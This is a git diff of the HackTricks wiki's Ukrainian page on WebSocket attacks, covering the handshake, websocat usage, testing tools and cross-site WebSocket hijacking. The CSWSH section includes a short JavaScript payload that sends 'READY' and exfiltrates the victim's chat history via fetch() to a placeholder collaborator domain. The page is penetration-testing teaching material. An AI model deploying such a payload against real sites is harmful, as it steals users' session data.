mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/websocket-attacks.md'] to uk
This commit is contained in:
parent
8d80b557b1
commit
598d5bf218
@ -4,11 +4,11 @@
|
||||
|
||||
## Що таке WebSockets
|
||||
|
||||
WebSocket з'єднання встановлюються через початковий **HTTP** рукопашний і призначені для **тривалого** використання, що дозволяє двостороннє обмін повідомленнями в будь-який час без необхідності в транзакційній системі. Це робить WebSockets особливо вигідними для додатків, які вимагають **низької затримки або ініційованого сервером зв'язку**, таких як потоки фінансових даних в реальному часі.
|
||||
З'єднання WebSocket встановлюються через початковий **HTTP** рукопашний handshake і призначені для **тривалого** використання, що дозволяє двостороннє повідомлення в будь-який час без необхідності в транзакційній системі. Це робить WebSockets особливо вигідними для додатків, які вимагають **низької затримки або ініційованого сервером зв'язку**, таких як потоки фінансових даних в реальному часі.
|
||||
|
||||
### Встановлення WebSocket З'єднань
|
||||
### Встановлення з'єднань WebSocket
|
||||
|
||||
Детальне пояснення про встановлення WebSocket з'єднань можна знайти [**тут**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Підсумовуючи, WebSocket з'єднання зазвичай ініціюються за допомогою JavaScript на стороні клієнта, як показано нижче:
|
||||
Детальне пояснення про встановлення з'єднань WebSocket можна знайти [**тут**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Підсумовуючи, з'єднання WebSocket зазвичай ініціюються за допомогою JavaScript на стороні клієнта, як показано нижче:
|
||||
```javascript
|
||||
var ws = new WebSocket("wss://normal-website.com/ws")
|
||||
```
|
||||
@ -42,11 +42,11 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||||
- У заголовку `Sec-WebSocket-Key` надсилається випадкове значення, закодоване в Base64, що забезпечує унікальність кожного рукостискання, що допомагає запобігти проблемам з кешуючими проксі. Це значення не призначене для аутентифікації, а для підтвердження того, що відповідь не згенерована неправильно налаштованим сервером або кешем.
|
||||
- Заголовок `Sec-WebSocket-Accept` у відповіді сервера є хешем `Sec-WebSocket-Key`, що підтверджує намір сервера відкрити з'єднання WebSocket.
|
||||
|
||||
Ці функції забезпечують безпеку та надійність процесу рукостискання, прокладаючи шлях для ефективної комунікації в реальному часі.
|
||||
Ці функції забезпечують безпечний і надійний процес рукостискання, прокладаючи шлях для ефективної комунікації в реальному часі.
|
||||
|
||||
### Linux console
|
||||
|
||||
Ви можете використовувати `websocat` для встановлення сирого з'єднання з websocket.
|
||||
Ви можете використовувати `websocat` для встановлення сирого з'єднання з вебсокетом.
|
||||
```bash
|
||||
websocat --insecure wss://10.10.10.10:8000 -v
|
||||
```
|
||||
@ -61,34 +61,39 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||||
```bash
|
||||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
```
|
||||
### Перерахування Websockets
|
||||
### Websockets enumeration
|
||||
|
||||
Ви можете використовувати **інструмент** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **для автоматичного виявлення, ідентифікації та пошуку відомих** **вразливостей** у websockets.
|
||||
Ви можете використовувати **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **для автоматичного виявлення, ідентифікації та пошуку відомих** **вразливостей** у вебсокетах.
|
||||
|
||||
### Інструменти налагодження Websocket
|
||||
### Websocket Debug tools
|
||||
|
||||
- **Burp Suite** підтримує MitM комунікацію websockets дуже схожим чином, як це робить для звичайної HTTP комунікації.
|
||||
- Розширення **[**socketsleuth**](https://github.com/snyk/socketsleuth)** для Burp Suite дозволить вам краще керувати комунікаціями Websocket у Burp, отримуючи **історію**, встановлюючи **правила перехоплення**, використовуючи **правила збігу та заміни**, використовуючи **Intruder** та **AutoRepeater.**
|
||||
- **Burp Suite** підтримує MitM вебсокетну комунікацію дуже схожим чином, як це робить для звичайної HTTP комунікації.
|
||||
- Розширення [**socketsleuth**](https://github.com/snyk/socketsleuth) **для Burp Suite** дозволить вам краще керувати вебсокетними комунікаціями в Burp, отримуючи **історію**, встановлюючи **правила перехоплення**, використовуючи **правила збігу та заміни**, використовуючи **Intruder** та **AutoRepeater.**
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Скорочено від "**WebSocket/Socket.io Proxy**", цей інструмент, написаний на Node.js, надає інтерфейс для **захоплення, перехоплення, надсилання користувацьких** повідомлень та перегляду всіх комунікацій WebSocket і Socket.IO між клієнтом і сервером.
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) є **інтерактивним websocket REPL**, спеціально розробленим для тестування на проникнення. Він надає інтерфейс для спостереження за **вхідними повідомленнями websocket і надсилання нових**, з простим у використанні фреймворком для **автоматизації** цієї комунікації.
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) це **веб для комунікації** з іншими веб-сайтами за допомогою **websockets**.
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) серед інших типів комунікацій/протоколів, надає **веб для комунікації** з іншими веб-сайтами за допомогою **websockets.**
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) є **інтерактивним вебсокетним REPL**, спеціально розробленим для тестування на проникнення. Він надає інтерфейс для спостереження за **вхідними вебсокетними повідомленнями та надсилання нових**, з простим у використанні фреймворком для **автоматизації** цієї комунікації.
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) це **веб для комунікації** з іншими вебами, використовуючи **вебсокети**.
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) серед інших типів комунікацій/протоколів, надає **веб для комунікації** з іншими вебами, використовуючи **вебсокети.**
|
||||
|
||||
## Лабораторія Websocket
|
||||
## Decrypting Websocket
|
||||
|
||||
У [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) у вас є код для запуску вебу за допомогою websockets, а в [**цьому пості**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) ви можете знайти пояснення.
|
||||
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
|
||||
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
|
||||
|
||||
## Перехоплення WebSocket між сайтами (CSWSH)
|
||||
## Websocket Lab
|
||||
|
||||
**Перехоплення WebSocket між сайтами**, також відоме як **перехоплення WebSocket з різних джерел**, визначається як специфічний випадок **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**, що впливає на рукопожаття WebSocket. Ця вразливість виникає, коли рукопожаття WebSocket аутентифікуються виключно через **HTTP cookies** без **CSRF токенів** або подібних заходів безпеки.
|
||||
У [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) у вас є код для запуску вебу, використовуючи вебсокети, а в [**цьому пості**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) ви можете знайти пояснення.
|
||||
|
||||
Зловмисники можуть скористатися цим, розмістивши **шкідливу веб-сторінку**, яка ініціює з'єднання WebSocket між сайтами до вразливої програми. Внаслідок цього це з'єднання розглядається як частина сесії жертви з програмою, експлуатуючи відсутність захисту CSRF у механізмі обробки сесій.
|
||||
## Cross-site WebSocket hijacking (CSWSH)
|
||||
|
||||
### Простий напад
|
||||
**Cross-site WebSocket hijacking**, також відомий як **cross-origin WebSocket hijacking**, визначається як специфічний випадок **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**, що впливає на вебсокетні з'єднання. Ця вразливість виникає, коли вебсокетні з'єднання аутентифікуються виключно через **HTTP cookies** без **CSRF tokens** або подібних заходів безпеки.
|
||||
|
||||
Зверніть увагу, що при **встановленні** з'єднання **websocket** **cookie** **надсилається** на сервер. **Сервер** може використовувати його для **пов'язування** кожного **конкретного** **користувача** з його **сесією websocket на основі надісланого cookie**.
|
||||
Зловмисники можуть скористатися цим, розмістивши **шкідливу веб-сторінку**, яка ініціює крос-сайтове вебсокетне з'єднання з вразливою програмою. Внаслідок цього це з'єднання розглядається як частина сесії жертви з програмою, експлуатуючи відсутність захисту CSRF у механізмі обробки сесій.
|
||||
|
||||
Тоді, якщо, наприклад, **сервер websocket** **повертає історію розмови** користувача, якщо надсилається повідомлення з "**READY"**, тоді **простий XSS**, що встановлює з'єднання (**cookie** буде **надіслано** **автоматично** для авторизації жертви) **надсилаючи** "**READY**" зможе **отримати** історію **розмови**.
|
||||
### Simple Attack
|
||||
|
||||
Зверніть увагу, що при **встановленні** **вебсокетного** з'єднання **cookie** **надсилається** на сервер. **Сервер** може використовувати його для **пов'язування** кожного **конкретного** **користувача** з його **вебсокетною** **сесією на основі надісланого cookie**.
|
||||
|
||||
Тоді, якщо, наприклад, **вебсокетний** **сервер** **повертає історію розмови** користувача, якщо надіслано повідомлення з "**READY"**, тоді **проста XSS**, що встановлює з'єднання (**cookie** буде **надіслано** **автоматично** для авторизації жертви) **надсилаючи** "**READY**" зможе **отримати** історію **розмови**.
|
||||
```html
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
@ -105,7 +110,7 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
```
|
||||
### Cross Origin + Cookie with a different subdomain
|
||||
|
||||
В цьому блозі [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) зловмисник зміг **виконати довільний Javascript в піддомені** домену, де відбувалася комунікація через веб-сокети. Оскільки це був **піддомен**, **cookie** надсилався, і оскільки **Websocket не перевіряв Origin належним чином**, було можливим спілкуватися з ним і **викрасти токени**.
|
||||
У цьому блозі [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) зловмисник зміг **виконати довільний Javascript у піддомені** домену, де відбувалася комунікація через веб-сокети. Оскільки це був **піддомен**, **кукі** надсилалися, і оскільки **Websocket не перевіряв Origin належним чином**, було можливо спілкуватися з ним і **викрасти токени**.
|
||||
|
||||
### Stealing data from user
|
||||
|
||||
@ -140,11 +145,11 @@ sudo python3 -m http.server 80
|
||||
|
||||
## Інші вразливості
|
||||
|
||||
Оскільки Web Sockets є механізмом для **відправки даних на серверну та клієнтську сторони**, залежно від того, як сервер і клієнт обробляють інформацію, **Web Sockets можуть бути використані для експлуатації кількох інших вразливостей, таких як XSS, SQLi або будь-яка інша загальна веб-вразливість, використовуючи введення користувача з вебсокета.**
|
||||
Оскільки Web Sockets є механізмом для **відправки даних на серверну та клієнтську сторони**, залежно від того, як сервер і клієнт обробляють інформацію, **Web Sockets можуть бути використані для експлуатації кількох інших вразливостей, таких як XSS, SQLi або будь-яка інша поширена веб-вразливість, використовуючи введення користувача з вебсокета.**
|
||||
|
||||
## **WebSocket Smuggling**
|
||||
|
||||
Ця вразливість може дозволити вам **обійти обмеження зворотних проксі**, змушуючи їх вірити, що **вебсокетне з'єднання було встановлено** (навіть якщо це не так). Це може дозволити зловмиснику **отримати доступ до прихованих кінцевих точок**. Для отримання додаткової інформації перегляньте наступну сторінку:
|
||||
Ця вразливість може дозволити вам **обійти обмеження зворотних проксі**, змушуючи їх вірити, що **вебсокетне спілкування було встановлено** (навіть якщо це не так). Це може дозволити зловмиснику **отримати доступ до прихованих кінцевих точок**. Для отримання додаткової інформації перегляньте наступну сторінку:
|
||||
|
||||
{{#ref}}
|
||||
h2c-smuggling.md
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user